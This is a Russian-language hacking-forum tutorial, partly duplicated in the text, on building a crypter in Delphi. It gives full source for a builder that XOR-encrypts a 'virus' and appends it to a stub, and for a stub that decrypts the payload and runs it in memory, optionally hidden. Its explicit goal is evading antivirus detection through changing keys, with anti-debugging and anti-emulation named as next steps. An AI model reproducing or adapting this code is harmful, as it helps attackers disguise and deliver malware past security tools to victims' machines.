Привет, я вот-что подумал вечная делема, что победит лень или нездоровый интерес к чему-либо, в данном случае победил интерес, но речь сейчас не об этом !
Давно я хотелстырить у кого-нить код написать свой криптор, да и не просто криптор, а полиморфный и т.д. !
Но проблема в том, что мануалов с гулькин нос, в рунете практически нет, либо это голый код, прикалывают манулалы «Школоты», весь мануал это скопировать/вставить готовый код на каком-либо бейсике, при чём не разбираясь не в коде, не в сути и они считают что делают крутой криптор, гы-гы…
В общем-то, скажу я что написать простенький криптор не чуть не сложнее написания того-же Джойнера, читайте мою статью про Джойнер !
Что-то я отвлёкся, теперь по сути, долго я читал всякие мануалы, в основном в буржонете,что кстати не красит обилие наших хак. ресурсов, но и там никак понять немог нахуя как-же крутые Испанцы делают даже простенькие крипторы ?
Поняв что от статей толку мало для меня я начал анализировать исходники, благо умею и даже люблю читать иногда чужой код, если он более-менее нормально написан…:)
К сожалению (А может и к счастью) большинство крипторов пишут на бейсике, бейсик не знаю, далее идёт MicrosoftVisualC++, си мне ближе, но саму среду не знаю…
Остаётся что у нас, ассемблер – рано пока для меня, в этоге остаётся си билдер и делфи, на си билдере что-то исходников не нашёл, зато был у меня исходник протектора, да-да именно протектора, даже не криптора, причём этот протектор я нашёл на одном Испанском хак. сайте, давно хотел поковырять этот исходник, а сейчас как-раз предоставился такой шанс !
Что в этоге получил я, благодаря этому исходнику, мне получилось написать криптор на Делфи, не скажу что что-то супер получилось, но по крайне-мере теперь понятна суть и принцип…
В общем рискну написать мануал как-же создать свой криптор с нуля, пусть и на делфи, хотя думаю это ничуть не хуже тех-же бейсиков например !
В данном мануале как обычно ничего мега-сложного не будет, будет немного простого кода с комментариями ирассуждения как дальше жить, других-же качеств моих тем, надеюсь никто и не заметит !
Итак для начала поймём, что-же будет делать наш криптор:
1)Криптовать любой EXE-файл;
2)Не использовать доп. софт;
3)Запуск в памяти.
4)Криптор будет отчасти полиморфный, т.е. если закриптовать один и тот-же вирус, это будут разные файлы, почему-же отчасти читайте статью, потом объясню !
Как и в статье про Джойнер (кто читал) у нас будет две программы (Проекта):
1)Конструктор(Bulder) – Будет криптовать наш вирус, запихивать его в конец стаба,в общем-то и вся задача конструктора, имеет кстати ну просто изяшный интерфейс, я уже подал заявку на патент !
2)Стаб(Stub) – Это наши «Мозги», он расшифровывает вирус и запускает его в памяти, заметьте я не буду использовать в этой статье приёмы антиотладки, антиэмуляции и т.д., потому-что просто пока сам до этого не дошёл это во первых, а во вторых нам нужно уловить суть и написать совсем простецкий криптор.
1)Итак начнём с простого, с конструктора, как-обычно создаём проект делфи…
Начинаем кодить, также я расскажу суть, что должен делать конструктор и как реализовать…
Всё ну ОЧЕНЬ просто, конструктор записывает в конец нашего стаба зашифрованный вирус, теперь как реализовать ?
Реализовать ещё проще, помните наш Джойнер (Моя статья про Джойнер) ?
Если-да, то забудьте про него, там я так коряво всё реализовал, что даже стыдно стало, но да-ладно…
Читайте новый способ, реализации:
1)Считываем все данные из стаба в строку (Переменная типа String);
2)Шифруем эти данные (В данном случае XOR);
3)Далее заводим специальную стринговскую переменную, я завёл константу (Const
Del = 'Pizda';), что будет делать наша «Пизда», всё очень просто разделять нужные нам данные, сейчас поясню, в этоге мы получим такую строку данных:
FailCrypt=Stub + Del + Key + Del + CryptVirus;
-Где:
FailCrypt – Это сигнатура (String), которую мы запишем на диск, т.е. это и есть выходной файл !
Stub – Наш стаб, это и есть загрузчик, который будет расшифровывать и запускать наш вирус;
Del – Наша «Пизда» которая разделит, т.е. даст понять нам, что следующий элемент в данном случае ключ для расшифровки;
Далее идёт ключ для расшифровки , потом разделитель и уже наш зашифрованный вирус !
Я не знаю понятно-нет ?
Но в стабе я покажу как разделять эти данные, тогда уже точно должно-быть понятно для чего-же придумали «Пизду» гы-гы-гы !
Итак немного прокомментирую код, но не весь, как обычно более подробно можете глянуть во вложении…
Начну с основной программы:
Кнопка «СТАРТ»:
В основной программе я использовал самописные вспомогательные процедуры:
1) Процедура считывает наш файл, получает FileName – это путь до файла, возвращает строку данных из файла:
2) Процедура записывает в наш файл данные, данные которые нужно записать будут в строке в формате String:
3)Процедура шифрования Xor:
2)Ну вот и добрались до стаба:
Создаём новый проект, выкидываем форму и прочее лабуду, т.к. чем меньше будет размер нашего стаба, тем лучше…
Разберёмся что делает стаб:
1)Считывает сам себя и получает данные в строке String:
FailCrypt=Stub + Del + Key + Del + CryptVirus;
-Где:
Stub-Код нашего загрузчика;
Del – наш разделитель, вспомнили «Пизду» !
Key – ключ для шифрования;
CryptVirus – Наш закриптованный вирус.
Этот способ кстати позволяет избежать статического задания размера стаба, вспомните опять-же мою статью про Джойнер !
2)Далее нам нужно расшифровать в память наш вирус CryptVirus, с ключом Key
3)Запуск в памяти, а вот тут-то самый смак, взял я специальную процедурку из исходника протектора
Процедурка большая, если интересно глянете исходник, думаю смысла нет его конкретно здесь анализировать, скажу-лишь как её юзать и поехали:
Всё просто:
memoryexecute(@FileCrypt[1], '', true);
ГДЕ:
@FileCrypt[1] – Указатель на строку данных нашего вируса;
‘’ – параметры запуска, я оставил пустые кавычки;
True – Обычный запуск, если будет FALSE– то будет скрытый запуск…
Можете поэксперементировать с этой процедуркой !
Теперь перейдём к коду нашего стаба:
1)Основная программа:
Немного правда ?
Я постарался сократить !
Я использовал самописные процедуры, про все я уже сказал в статье, остановлюсь лишь на одной:
Пришло время рассказать ещё раз про «Пизду», как-же разделить из кучи инфы нужные нам элементы ?
И опять-таки ничего сложного в этой задаче нет, вот процедурка:
В этой функции удаляем Delimitador, т.е. разделитель, что-бы получить читаемый массив и обращаться по эллементам (На выходе получим такой массив) !
ГДЕ: Texto – Это прочитанные данные;
Delimitador – Это наша «Пизда»
Функция разделяет по строке Delimitador наши данные по элементам, потом мы можем спокойно обращаться к ним !
В этоге получим такой массив строк:
FailCrypt=Stub+Key+VirusCrypt
А потом можем обращаться к данным так:
FailCrypt[0]-Это наш стаб;
FailCrypt[1] – Это наш ключ для расшифровки;
FailCrypt[2] – Это наш закриптованный вирус;
Вроде всё, устал писать статью, надеюсь она поможет кому, будут вопросы задавайте с радостью отвечу !
Все исходники во вложении, пароль:111 !
И ещё про полиморфизм и детект:
Что-бы сделать криптор полиморфным можно как вариант, каждый раз задавать разный ключ для шифровки Key, у меня задаётся статически в исходниках, реализация этого функционала ложится на вас в билдере, гы-гы !
Теперь про детект, давайте подумаем какие средства антиотладки и антиэмуляции можно сюда внедрить что-бы вирус не палился при запуске…
Сейчас здесь ничего не реализовано в этом плане, поэтому рискну предположить, что будет детектить эвристика и спалится при запуске в памяти !
Давно я хотел
Но проблема в том, что мануалов с гулькин нос, в рунете практически нет, либо это голый код, прикалывают манулалы «Школоты», весь мануал это скопировать/вставить готовый код на каком-либо бейсике, при чём не разбираясь не в коде, не в сути и они считают что делают крутой криптор, гы-гы…
В общем-то, скажу я что написать простенький криптор не чуть не сложнее написания того-же Джойнера, читайте мою статью про Джойнер !
Что-то я отвлёкся, теперь по сути, долго я читал всякие мануалы, в основном в буржонете,
Поняв что от статей толку мало для меня я начал анализировать исходники, благо умею и даже люблю читать иногда чужой код, если он более-менее нормально написан…:)
К сожалению (А может и к счастью) большинство крипторов пишут на бейсике, бейсик не знаю, далее идёт MicrosoftVisualC++, си мне ближе, но саму среду не знаю…
Остаётся что у нас, ассемблер – рано пока для меня, в этоге остаётся си билдер и делфи, на си билдере что-то исходников не нашёл, зато был у меня исходник протектора, да-да именно протектора, даже не криптора, причём этот протектор я нашёл на одном Испанском хак. сайте, давно хотел поковырять этот исходник, а сейчас как-раз предоставился такой шанс !
Что в этоге получил я, благодаря этому исходнику, мне получилось написать криптор на Делфи, не скажу что что-то супер получилось, но по крайне-мере теперь понятна суть и принцип…
В общем рискну написать мануал как-же создать свой криптор с нуля, пусть и на делфи, хотя думаю это ничуть не хуже тех-же бейсиков например !
В данном мануале как обычно ничего мега-сложного не будет, будет немного простого кода с комментариями и
Итак для начала поймём, что-же будет делать наш криптор:
1)Криптовать любой EXE-файл;
2)Не использовать доп. софт;
3)Запуск в памяти.
4)Криптор будет отчасти полиморфный, т.е. если закриптовать один и тот-же вирус, это будут разные файлы, почему-же отчасти читайте статью, потом объясню !
Как и в статье про Джойнер (кто читал) у нас будет две программы (Проекта):
1)Конструктор(Bulder) – Будет криптовать наш вирус, запихивать его в конец стаба,в общем-то и вся задача конструктора, имеет кстати ну просто изяшный интерфейс, я уже подал заявку на патент !
2)Стаб(Stub) – Это наши «Мозги», он расшифровывает вирус и запускает его в памяти, заметьте я не буду использовать в этой статье приёмы антиотладки, антиэмуляции и т.д., потому-что просто пока сам до этого не дошёл это во первых, а во вторых нам нужно уловить суть и написать совсем простецкий криптор.
1)Итак начнём с простого, с конструктора, как-обычно создаём проект делфи…
Начинаем кодить, также я расскажу суть, что должен делать конструктор и как реализовать…
Всё ну ОЧЕНЬ просто, конструктор записывает в конец нашего стаба зашифрованный вирус, теперь как реализовать ?
Реализовать ещё проще, помните наш Джойнер (Моя статья про Джойнер) ?
Если-да, то забудьте про него, там я так коряво всё реализовал, что даже стыдно стало, но да-ладно…
Читайте новый способ, реализации:
1)Считываем все данные из стаба в строку (Переменная типа String);
2)Шифруем эти данные (В данном случае XOR);
3)Далее заводим специальную стринговскую переменную, я завёл константу (Const
Del = 'Pizda';), что будет делать наша «Пизда», всё очень просто разделять нужные нам данные, сейчас поясню, в этоге мы получим такую строку данных:
FailCrypt=Stub + Del + Key + Del + CryptVirus;
-Где:
FailCrypt – Это сигнатура (String), которую мы запишем на диск, т.е. это и есть выходной файл !
Stub – Наш стаб, это и есть загрузчик, который будет расшифровывать и запускать наш вирус;
Del – Наша «Пизда» которая разделит, т.е. даст понять нам, что следующий элемент в данном случае ключ для расшифровки;
Далее идёт ключ для расшифровки , потом разделитель и уже наш зашифрованный вирус !
Я не знаю понятно-нет ?
Но в стабе я покажу как разделять эти данные, тогда уже точно должно-быть понятно для чего-же придумали «Пизду» гы-гы-гы !
Итак немного прокомментирую код, но не весь, как обычно более подробно можете глянуть во вложении…
Начну с основной программы:
Кнопка «СТАРТ»:
Код:
procedure TForm1.Button2Click(Sender: TObject);
var
Stub: string;
FileNameVirus: string; //Наш закриптованный вирус !!!!!!!!!!!!
Key: string;
CryptFile: string;
Const
Del = 'Pizda'; //Это для разделения стаба, ключа и зашифрованного файла в данных
begin
Stub:= extractfilepath(paramstr(0)) + '\stub.exe'; //Открываем наш стаб
if not fileexists(stub) then exit; //Если не хуя не открылось то выходим...
Stub:= mfiletostr(stub); //Считываем наш стаб
Key:= 'Fucking'; // Это наш ключ, гы-гы ! ;)
FileNameVirus:= edit1.Text; //Получаем путь до вируса, которого нужно криптонуть
if not fileexists(FileNameVirus) then exit; //Если нет пути, то выходим
FileNameVirus:= mfiletostr(FileNameVirus);//Считываем данные из файла вируса, для того-чтобы криптонуть
FileNameVirus:= xorizo(FileNameVirus, Key); //Криптуем эти данные с ключом Key
CryptFile:= Stub + Del + Key + Del + FileNameVirus; //Получаем Стаб + криптованный мусор
if savedialog1.Execute then
begin
mwritefilefromstr(CryptFile, savedialog1.FileName + '.exe'); //Здесь записываем это всё на диск, т.е. получаем в результате криптованный файл
showmessage('Закриптовалось !!!');
end else
begin
showmessage('Что-то эа херь не сработала !');
end;
end;
В основной программе я использовал самописные вспомогательные процедуры:
1) Процедура считывает наш файл, получает FileName – это путь до файла, возвращает строку данных из файла:
Код:
Function mFileToStr(FileName: string): string;
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lopen(PChar(FileName), OF_READ); //Открываем файл на чтение
uBytes:= GetFileSize(sFile, nil); //Получаем его размер
SetLength(Result, uBytes); // Устанавливаем размер равный нашему файлу (Result).
_lread(sfile, @result[1], uBytes); // Считываем данные из файла в result
_lclose(sFile);
end;
2) Процедура записывает в наш файл данные, данные которые нужно записать будут в строке в формате String:
Код:
Procedure mWriteFileFromStr(data, FileName: string);
var
sFile: HFile;
uBytes: Cardinal;
begin
sFile:= _lcreat(PChar(FileName), 0); //Открываем файл
uBytes:= Length(data); //Получаем длинну наших данных
_lwrite(sFile, @data[1], uBytes); //Записываем данные в файл
_lclose(sFile);
end;
3)Процедура шифрования Xor:
Код:
Function XORizo(Text, Pass: string): string;
var
i, p: integer;
Res: string;
begin
p:= 1;
for i:= 1 to Length(Text) do
begin
Res:= Res + Chr((Ord(Text[i]) xor Length(Text)) XOR (Ord(Pass[p]) xor Length(Pass)));
inc(p);
if p > Length(Pass) then p:= 1;
end;
SetLength(Result, Length(Res));
Result:= Res;
end;
2)Ну вот и добрались до стаба:
Создаём новый проект, выкидываем форму и прочее лабуду, т.к. чем меньше будет размер нашего стаба, тем лучше…
Разберёмся что делает стаб:
1)Считывает сам себя и получает данные в строке String:
FailCrypt=Stub + Del + Key + Del + CryptVirus;
-Где:
Stub-Код нашего загрузчика;
Del – наш разделитель, вспомнили «Пизду» !
Key – ключ для шифрования;
CryptVirus – Наш закриптованный вирус.
Этот способ кстати позволяет избежать статического задания размера стаба, вспомните опять-же мою статью про Джойнер !
2)Далее нам нужно расшифровать в память наш вирус CryptVirus, с ключом Key
3)Запуск в памяти, а вот тут-то самый смак, взял я специальную процедурку из исходника протектора
Процедурка большая, если интересно глянете исходник, думаю смысла нет его конкретно здесь анализировать, скажу-лишь как её юзать и поехали:
Всё просто:
memoryexecute(@FileCrypt[1], '', true);
ГДЕ:
@FileCrypt[1] – Указатель на строку данных нашего вируса;
‘’ – параметры запуска, я оставил пустые кавычки;
True – Обычный запуск, если будет FALSE– то будет скрытый запуск…
Можете поэксперементировать с этой процедуркой !
Теперь перейдём к коду нашего стаба:
1)Основная программа:
Код:
//***Основная программа*********************************************************
var
StubData: string;//Данные из стаба
FileCrypt: string; //Наш закриптованный вирус
Key: string; //Ключ для расшифровки XOR
TodoArray: TSArray;//Наш массив данных, который мы должны получить (Stub+Key+FileCrypt)
const
Delimitador: widestring = 'Pizda'; //Наш разделитель !
begin
StubData:= mfiletostr(paramstr(0)); //Открываем сами себя и считываем данные в StubData, т.е. получаем строку из данных
TodoArray:= splitmetal(StubData, Delimitador); // Удаляем из этих данных разделитель Delimitador, что-бы получить читаемый массив и обращаться по эллементам !
Key:= TodoArray[1]; // В массиве: stub = 0-й эллемент; key = 1-ый эллемент; FileCrypt = 2-ый эллемент
FileCrypt:= TodoArray[2]; //Это мы получили строку данных нашего закриптованного вируса, нужно его рсшифровать с ключом Key
FileCrypt:= xorizo(FileCrypt, key);//Расшифровываем
memoryexecute(@FileCrypt[1], '', true); //А вот эта функция запускает наш вирус из памяти ! ;)
end.
//******************************************************************************
Немного правда ?
Я постарался сократить !
Я использовал самописные процедуры, про все я уже сказал в статье, остановлюсь лишь на одной:
Пришло время рассказать ещё раз про «Пизду», как-же разделить из кучи инфы нужные нам элементы ?
И опять-таки ничего сложного в этой задаче нет, вот процедурка:
В этой функции удаляем Delimitador, т.е. разделитель, что-бы получить читаемый массив и обращаться по эллементам (На выходе получим такой массив) !
Код:
function SplitMetal(Texto, Delimitador: string): TSarray;
var
o: integer;
PosDel: integer;
Aux: string;
begin
o := 0;
Aux := Texto;
setlength(Result, length(Aux));
repeat
PosDel := Pos(Delimitador, Aux) - 1;
if PosDel = -1 then
begin
Result[o] := Aux;
break;
end;
Result[o] := copy(Aux, 1, PosDel);
delete(Aux, 1, PosDel + length(Delimitador));
inc(o);
until Aux = '';
end;
ГДЕ: Texto – Это прочитанные данные;
Delimitador – Это наша «Пизда»
Функция разделяет по строке Delimitador наши данные по элементам, потом мы можем спокойно обращаться к ним !
В этоге получим такой массив строк:
FailCrypt=Stub+Key+VirusCrypt
А потом можем обращаться к данным так:
FailCrypt[0]-Это наш стаб;
FailCrypt[1] – Это наш ключ для расшифровки;
FailCrypt[2] – Это наш закриптованный вирус;
Вроде всё, устал писать статью, надеюсь она поможет кому, будут вопросы задавайте с радостью отвечу !
Все исходники во вложении, пароль:111 !
И ещё про полиморфизм и детект:
Что-бы сделать криптор полиморфным можно как вариант, каждый раз задавать разный ключ для шифровки Key, у меня задаётся статически в исходниках, реализация этого функционала ложится на вас в билдере, гы-гы !
Теперь про детект, давайте подумаем какие средства антиотладки и антиэмуляции можно сюда внедрить что-бы вирус не палился при запуске…
Сейчас здесь ничего не реализовано в этом плане, поэтому рискну предположить, что будет детектить эвристика и спалится при запуске в памяти !